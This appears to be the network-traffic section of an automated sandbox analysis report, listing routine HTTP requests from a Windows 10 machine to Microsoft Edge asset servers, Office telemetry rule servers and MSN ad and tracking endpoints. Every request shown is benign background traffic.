Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1731427672060&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3396E73AB3A068C604AEF20FB2F769BB&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731427672060&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=456cae4d87b64b2da7cf8c972fa982c5&activityId=456cae4d87b64b2da7cf8c972fa982c5&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3396E73AB3A068C604AEF20FB2F769BB; _EDGE_S=F=1&SID=2B40E3B8AF3669BB0CB3F68DAEC468DC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3396E73AB3A068C604AEF20FB2F769BB&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=63b6ce51303442acf1c6220fb08b4d44 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3396E73AB3A068C604AEF20FB2F769BB; _EDGE_S=F=1&SID=2B40E3B8AF3669BB0CB3F68DAEC468DC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731427672060&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3396E73AB3A068C604AEF20FB2F769BB&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=18De7a8d506647830dd87ad1731427673; XID=18De7a8d506647830dd87ad1731427673
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEt.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3396E73AB3A068C604AEF20FB2F769BB&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=f40d679f693e4524fb3a26a50a10bb35 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3396E73AB3A068C604AEF20FB2F769BB; _EDGE_S=F=1&SID=2B40E3B8AF3669BB0CB3F68DAEC468DC; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
